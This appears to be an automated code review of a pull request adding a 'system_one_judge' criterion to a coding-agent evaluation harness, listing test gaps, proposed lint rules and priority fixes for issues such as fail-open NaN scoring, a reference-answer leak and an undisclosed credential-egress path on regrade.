• 🔵 The retry and escalation POST loop was copied from judge_bedrock.py and not shared. A later change to the retry policy in one judge invoker will not reach the other. (trigger: src/coder_eval/evaluation/judge_system_one.py) (restates: Axis 1: judge_system_one.py copies judge_bedrock.py's POST/retry loop almost token for token)

Tests:

• 🟠 invoke_system_one_async has no hermetic tests (18% coverage). The missing-key, 429/5xx retry, 4xx fail-fast, non-JSON, non-object and exhaustion branches, the /systemone URL join and the Bearer header are all untested. Mirror tests/test_judge_bedrock.py. (trigger: src/coder_eval/evaluation/judge_system_one.py) (restates: Axis 3: invoke_system_one_async (retry/escalation gate) has zero hermetic tests — 18% coverage)
• 🟠 There is no leak-canary test for system_one_judge with reference_dir and a multi-line, quoted reference file that asserts the sentinel is absent from transcript.judge_prompt, details and findings. The siblings in test_agent_judge_criterion.py and test_llm_judge_criterion.py have such a test. (trigger: tests/test_system_one_judge.py) (restates: Axis 3: Reference anti-cheat scrub has no regression test for system_one_judge, and a confirmed leak shipped through the gap)
• 🟠 No test feeds non-finite wire values (NaN/Infinity in noul, score or probabilities) or an infinite rubric weight to reduce_answers and asserts that it does not give full credit. (trigger: src/coder_eval/evaluation/system_one_scoring.py) _(restates: Axis 2: NaN/Infinity answer values pass the isinstance check and clamp maps them to full credit)
• 🟡 No regrade test proves that a recorded system_one_judge is refused without --allow-recorded-commands. No tasks.py validator test covers system_one_judge with $REFERENCE_DIR/ and no reference block. (trigger: src/coder_eval/models/criteria.py) (restates: Axis 4: system_one_judge base_url + api_key_env is not disclosed by the detached-grading gate)
• 🟡 No checker-level test covers a 200 response with a missing or non-dict answers key. One test must pin escalation to JudgeInfrastructureError, not a scored 0.0. (trigger: src/coder_eval/criteria/system_one_judge.py) (restates: Axis 6: A 200 response with no usable answers map is scored 0.0 against the agent)
• 🟡 The validator reject branches in models/system_one.py (empty choice criteria, the 255-option cap, an unknown values key, out-of-range choice and score values) and the reduce_answers branches (score argmax round(), the zero-mass fallback, a non-numeric score or choice, the noul 0.5 boundary) have no tests. (trigger: src/coder_eval/models/system_one.py) (restates: Axis 3: Rubric validator reject branches untested)
• 🔵 tests/test_criterion_result_round_trip.py legacy result_kind inference and tests/test_reports_html.py judge-section rendering do not cover the new JUDGE_CRITERION_TYPES member system_one_judge. Parametrize them over JUDGE_CRITERION_TYPES. (trigger: src/coder_eval/models/results.py) (restates: Axis 3: New JUDGE_CRITERION_TYPES membership for system_one_judge not asserted in legacy round-trip or HTML judge section)

Downstream consumers:

• 🟡 docs/REPORT_SCHEMA.md § result kinds still says the judge result kind is 'Emitted by llm_judge, agent_judge'. It was not updated for system_one_judge, which the PR added to JUDGE_CRITERION_TYPES, and that doc is the contract that downstream task.json consumers read. (trigger: src/coder_eval/models/results.py)
• 🔵 Docstrings that list the judge set were not updated: judge_context.py (module and JudgeContextBuilder 'Both LLMJudgeCriterion and AgentJudgeCriterion'), models/judge.py, orchestration/evaluation.py:4 and models/tasks.py:261. They still name only llm_judge/agent_judge, although system_one_judge now uses JudgeContextBuilder. (trigger: src/coder_eval/criteria/system_one_judge.py)
• 🔵 The new criterion does not appear in docs/agents/HARNESS_PARITY.md or docs/EXTENDING.md, and no .claude/notes entry records its vendor-specific wire protocol or its rule that a transport failure escalates. Only contracts.md § System One rubric scoring was added. (trigger: src/coder_eval/models/judge_defaults.py) (restates: Axis 5: Core defaults, core pricing and the required smoke-pass CI gate are now coupled to one third-party vendor (TypeSafe))

Display & mapping dicts:

• 🔵 The mapping dicts were checked. harbor/portability.py, results.JUDGE_CRITERION_TYPES and evalboard/lib/pricing.generated.ts (jev-*) were extended. The gap is that token_usage.model records the requested alias jev-latest and not the served model, so board cost and model columns cannot show a judge version change. (trigger: src/coder_eval/criteria/system_one_judge.py) (restates: Axis 8: Default model is the floating alias jev-latest, so grades drift across runs and the served version is never recorded)

Nightly pipeline:

• 🟡 The PR makes the required smoke-pass CI job depend on the TYPESAFE_API_KEY secret and a third-party endpoint (EXPECTED_SMOKE_PASS_SUCCEEDED raised to 10). It does not say what a vendor outage or quota limit does to every PR, or whether fork PRs can pass. (trigger: .github/workflows/pr-checks.yml) (restates: Axis 5: Core defaults, core pricing and the required smoke-pass CI gate are now coupled to one third-party vendor (TypeSafe))
• 🔵 The PR does not state the nightly or cross-repo impact. A new system_one_judge criterion_type discriminator now appears in task.json/run.json. A Docker nightly task that adopts it needs a rebuilt image and TYPESAFE_API_KEY passthrough, and the external coder-eval-uipath consumers must accept the new criterion_type. (trigger: src/coder_eval/models/criteria.py) (restates: Axis 8: system_one_judge ERRORs on every row under driver: docker by default)

Harness & Lint Improvements

Static checks (lint / type):

• [ce-lint] CE068 no-unfenced-unit-clamp: flag a max(<lo>, min(<hi>, x)) or min(<hi>, max(<lo>, x)) clamp in src/coder_eval/evaluation/ and criteria/ unless x is guarded by math.isfinite(x) earlier in the same function, or the call goes through one shared clamp_unit(x) helper in stats.py that raises on non-finite input. The helper is the better fix; the rule then bans the bare clamp idiom in those packages. Add it as tests/lint/rules/ce068_no_unfenced_unit_clamp.py and wire it in tests/lint/runner.py. Prevents: A2-high NaN/Infinity answers pass the isinstance check and _clamp (system_one_scoring.py:72-73) maps them to full credit. A2-high: an inf weight gives NaN at reduce_answers:175, which then clamps to 1.0.
• [ce-lint] CE069 grading-float-fields-finite: an AST check over models/criteria.py and models/system_one.py. Every float Field (or float | None Field) on a BaseSuccessCriterion subclass or a rubric-question model that has a gt=/ge= bound must also set allow_inf_nan=False. BaseSuccessCriterion.weight already follows this at criteria.py:113, so the rule turns that practice into a requirement. Prevents: A2-high: question weight (system_one.py:43) accepts +inf, so an all-zero rubric scores 1.0. It also covers timeout_seconds (criteria.py:1517), which accepts inf and so means no timeout.
• [ce-lint] CE070 judge-types-covered-by-consumers: a whole-tree @pytest.mark.lint class in tests/test_custom_lint.py. It collects every union member of SuccessCriterion whose type is in JUDGE_CRITERION_TYPES (models/results.py:243). It then checks that each such class (or a shared JudgeContextCriterion base) appears in (a) the isinstance narrow in models/tasks.py check_reference_consumers_have_a_reference, and (b) an isinstance arm of orchestration/regrade.py embedded_commands(). More generally, it checks that every SuccessCriterion member with network-egress fields (base_url, api_key_env, model) has an embedded_commands disclosure arm. Delete-before-guard: if the JudgeContextCriterion base from finding A1 lands and both sites narrow on it, the rule reduces to 'no isinstance narrow may list two or more judge criterion classes in a union'. Prevents: A4-high: system_one_judge base_url + api_key_env is not disclosed by the detached-grading gate (credential exfiltration on evaluate <run_dir>). A5-medium: $REFERENCE_DIR in files is missing from the TaskDefinition reference-consumer validator. A1-medium: the judge-context fields were copied a third time and type-gated consumers were missed.
• [ce-lint] CE071 no-json-dumps-of-scrubbed-state: in src/coder_eval/criteria/, flag an assignment to judge_prompt= / transcript whose value is json.dumps(...) (or repr/str of a dict) unless the argument passed through scrub_reference before serialization. In other words, scrub first and serialize second: the rule forbids scrub_reference(json.dumps(x)) and forbids an unscrubbed json.dumps flowing into a persisted field. The simpler fix removes the sharp edge instead: make scrub_reference accept a JSON-able object and scrub string leaves recursively, and make it the only helper that produces a persisted judge prompt. Prevents: A3-high: the reference anti-cheat scrub misses the JSON-escaped multi-line reference in judge_prompt=json.dumps(state) (criteria/system_one_judge.py:105), so SENTINEL_ANSWER_42 leaks.
• [ce-lint] CE072 single-judge-http-retry-loop: in src/coder_eval/evaluation/, forbid more than one module-level RetryConfig(...) constant, and more than one function that both calls httpx2.AsyncClient(...).post and loops over range(<retry>.max_retries + 1). All judge HTTP invokers must call one shared post_json_with_retry(...). A cap rule allows only the helper's own module. Prevents: A1/A5-medium: judge_system_one.py:77-107 copies the POST/retry loop in judge_bedrock.py:96-126, including _is_retryable_status and the C(11) radon hotspot.
• [ce-lint] CE073 criterion-config-strings-nonempty: every required-or-defaulted str Field on a SuccessCriterion member or rubric-question model whose name is in {model, base_url, api_key_env, instructions, prompt, command} must declare min_length=1 (or use a constrained type such as AnyHttpUrl for base_url). Implement it in the same AST pass as CE069. Prevents: A2-medium: an empty model/base_url/instructions passes validation and then becomes a runtime ValueError that is downgraded to a scored 0.0. A6-low: a malformed base_url is retried as transient or downgraded to 0.0.
• [ce-lint] CE074 no-default-dict-fallback-on-wire-payload: in src/coder_eval/criteria/, flag x if isinstance(x, dict) else {} (and the or {} / .get(k, {}) forms) on a value read from a judge/provider response. A missing wire field must raise JudgeInfrastructureError, never degrade to an empty map. This rule is a sibling of CE049 (no-score-or-zero). Prevents: A6/A8-high: a 200 response with no usable answers map is scored 0.0 against the agent (criteria/system_one_judge.py:93-96) instead of escalating.
• [ce-lint] CE075 no-floating-judge-default-model: a DEFAULT_*_MODEL constant in models/judge_defaults.py must not end in -latest or match another floating-alias pattern. It must be a key in pricing.py that is also pinned (not an alias). Prevents: A8-high: the default model is the floating alias jev-latest (judge_defaults.py:13), so grades drift across runs and the served version is never recorded.
• [ci-gate] Pyright: turn on reportUnnecessaryTypeIgnoreComment and require that each inline # pyright: ignore[...] in src/ has a trailing justification. Enforce the justification with a small CE check, or a ruff PGH003-style check extended to pyright ignores. Alternatively, drop the type: str field on BaseSystemOneQuestion so that the ignores disappear. Prevents: A2-medium: three unjustified # pyright: ignore[reportIncompatibleVariableOverride] comments (system_one.py:59, 85, 147).
• [ce-lint] Extend CE030 / doc-schema parity so that a Literal[...] written out in both models/ and evaluation/ (the same member set, one without an alias) fails: a Literal with 2 or more string members that is declared in both layers must be one alias imported from models/. Also flag a model_validator whose only body is if not self.<list_field>: raise ValueError and suggest Field(min_length=1). Prevents: A1/A2/A7-low: the ScoringMode Literal is duplicated (criteria.py:1431 vs system_one_scoring.py:32), and _check_rubric hand-rolls min_length=1.
• [ce-lint] CE076 env-example-sections: a doc-surface lint over .env.example. Each # VAR= line must share a prefix family with the nearest preceding # ---/heading comment block, or appear in an explicit per-section allowlist. Low value; propose it only if .env.example keeps growing. Prevents: A1/A7-low: the TypeSafe block splits the Bedrock block and leaves BEDROCK_SMALL_MODEL under the TypeSafe heading.
• [ce-lint] CE077 judge-api-key-env-in-passthrough: a whole-tree lint that collects every default api_key_env value (and every hard-coded os.environ.get("X_API_KEY") in criteria/ and evaluation/). Each one must appear in SandboxConfig.env_passthrough defaults (models/sandbox.py), or the criterion must declare that it is host-only. Prevents: A8-medium: system_one_judge ERRORs on every row under driver: docker, because TYPESAFE_API_KEY is not in the container env allowlist.

Harness improvements (not statically reachable):

• Add a shared leak-canary contract test that is parametrized over every criterion type in JUDGE_CRITERION_TYPES. The test takes a MULTI-LINE reference file that contains quotes and a sentinel, runs check_all_async with reference_dir, and asserts that the sentinel is absent from transcript.judge_prompt, details, findings and the serialized task.json row. Register new judge types automatically in the way CE036 ContractCases do, so a new judge cannot ship without the case. Why not static: Whether the scrub matches depends on the runtime escaping of real content (json.dumps of newlines and quotes). An AST cannot prove that the persisted string does not contain the secret. Prevents: A3-high: the reference anti-cheat leaks through JSON-escaped judge_prompt.
• Add a hermetic HTTP-invoker contract suite that is parametrized over every judge invoker (bedrock, system_one, and later ones). It uses the existing httpx2.AsyncClient fake plus the no_sleep fixture, and it covers missing key -> JudgeInfrastructureError, 401/422 fail-fast, 429-then-success, 5xx exhaustion, non-JSON body, non-object body, and missing or non-dict answers. Also add a per-module coverage floor, for example 80% for evaluation/judge_*.py, in make verify next to the global 80%. Why not static: Retry and escalation behaviour needs simulated network responses. A missing test is not visible to an AST rule, and a coverage floor is a runtime metric. Prevents: A3-high: invoke_system_one_async has 18% coverage. A6/A8-high: a 200 response without answers is scored 0.0.
• Add a scoring fuzz / property test for every rubric reducer (reduce_answers and later ones). It uses hypothesis-style inputs: NaN, +/-inf, bool, str, zero-mass distributions, 0.5 ties and huge weights. It asserts that the score is always finite and in [0,1], that non-finite input never yields a higher score than a 0.0 answer, and that an argmax tie never passes in both directions. Why not static: Fail-open arithmetic (min(1, nan) == 1.0, 0*inf) shows only when real float values run through the code. It is semantic and not syntactic. Prevents: A2-high: NaN answers get full credit. A2-high: an inf weight scores 1.0. A8-low: argmax noul at 0.5 passes both ways. A3-medium: untested score-gate branches.
• Add a detached-regrade consent test that is parametrized over every SuccessCriterion union member. It builds a minimal recorded task.json for each type with non-default egress fields, and it asserts that evaluate <run_dir> without --allow-recorded-commands either refuses or lists the criterion in embedded_commands(). Criterion types with no egress join an explicit EXEMPT list that gives a reason. Why not static: Whether a field causes host egress or a credential read is a semantic property. The test needs the real regrade entry point to prove that the gate fires. Prevents: A4-high: the system_one_judge base_url + api_key_env credential-exfiltration path is not disclosed on regrade.
• Add a judge reproducibility check: record the served model/version from each judge response (token_usage.model or the transcript), and add a report-side assertion or warning when the served judge version differs between the runs of an experiment comparison. Why not static: The served version is known only from the live API response at run time. Prevents: A8-high: the floating jev-latest default lets grades drift, and the run record does not show it.
• Add a rendered-state size test that fixes a hard upper bound for every judge context builder. With N files at max_file_chars, plus a maximum-size reference, plus the dialog, assert that the serialized state is at most the documented aggregate cap. Also add a docs/field-description consistency check that compares the guide wording with the Field description for cap fields. Why not static: The aggregate size depends on the runtime composition of sections. Whether the description and the implementation agree ('aggregate' vs 'per section') is semantic. Prevents: A8-medium: max_state_chars is documented as an aggregate cap but is applied per section, so the state size is unbounded.
• Add a docker-parity smoke test for grading. When a criterion's default api_key_env is set on the host, run one driver: docker grading pass (or a fast in-process simulation of the container env filter) and assert that the key reaches the grader. Why not static: It needs the actual container env-forwarding path (docker_runner) and the host environment. Prevents: A8-medium: system_one_judge ERRORs under driver: docker because TYPESAFE_API_KEY is not forwarded.
• Keep required CI gates independent of vendors: move vendor-keyed smoke tasks (smoke_system_one_judge) out of the required smoke-pass bucket and into the optional live-test job. Add a CI check that fails when a required job's script contains ${X:?...} for a secret that is not in an allowlist of first-party secrets. Why not static: Which secrets are 'first-party' and which gates are 'required' is repo policy that lives in workflow YAML and branch protection. Source-code lint cannot see it. Prevents: A5/A8-low: the required smoke-pass gate is coupled to one third-party vendor key (pr-checks.yml:585).
• Parametrize the legacy result_kind round-trip test and the HTML judge-section render test over JUDGE_CRITERION_TYPES, so that adding a member automatically adds coverage. Why not static: The requirement is test coverage of runtime rendering. A static rule could only check that a literal appears in the test file. Prevents: A3-low: the new JUDGE_CRITERION_TYPES membership is not asserted in the round-trip or the HTML judge section.

Top 5 Priority Actions

1. Stop the fail-open score path: add a math.isfinite guard before _clamp (src/coder_eval/evaluation/system_one_scoring.py:72-73 and the reduce_answers result at :175), parse the response into a Pydantic model with allow_inf_nan=False, and add allow_inf_nan=False to question weight (src/coder_eval/models/system_one.py:43) and timeout_seconds (src/coder_eval/models/criteria.py:1517), so NaN, inf or an inf weight cannot turn into a 1.0 grade.
2. Make infrastructure faults escalate instead of scoring 0.0: raise JudgeInfrastructureError in invoke_system_one_async when answers is missing or is not a dict, remove the else {} fallback (src/coder_eval/criteria/system_one_judge.py:93-96), and add min_length=1 to model, base_url, api_key_env and instructions (src/coder_eval/models/criteria.py:1494-1510, src/coder_eval/models/system_one.py:37), so an authoring error fails at load time and is not graded as an agent failure.
3. Pin the default judge: set DEFAULT_SYSTEM_ONE_MODEL to jev-1.13.0 instead of the floating jev-latest (src/coder_eval/models/judge_defaults.py:13), record the served response["model"] in token_usage.model or the transcript (src/coder_eval/criteria/system_one_judge.py:97), and change the argmax noul tie to agreement > 0.5 (src/coder_eval/evaluation/system_one_scoring.py:86), so the same agent output always gets the same final_status.
4. Close the credential-exfiltration path: add a SystemOneJudgeCriterion branch to embedded_commands() (src/coder_eval/orchestration/regrade.py:207-226), limit api_key_env to an allowlist and require https on base_url (src/coder_eval/models/criteria.py:1502-1516), add the criterion to the $REFERENCE_DIR validator (src/coder_eval/models/tasks.py:711), and add a regrade test that refuses a recorded non-default base_url without --allow-recorded-commands.
5. Fix the reference leak and the test gaps: scrub the state before json.dumps so that JSON escaping cannot hide the reference from scrub_reference (src/coder_eval/criteria/system_one_judge.py:105), add a multi-line, quoted canary test for the leak, and add a hermetic httpx test suite for invoke_system_one_async (src/coder_eval/evaluation/judge_system_one.py:62-107, now 18% coverage) modelled on tests/test_judge_bedrock.py; then move its retry loop into one helper that it shares with judge_bedrock.py.

---

Stats: 0 🔴 · 7 🟠 · 12 🟡 · 10 🔵 across 8 axes reviewed.

[uipreliga]

Fix what you agree with and 🚢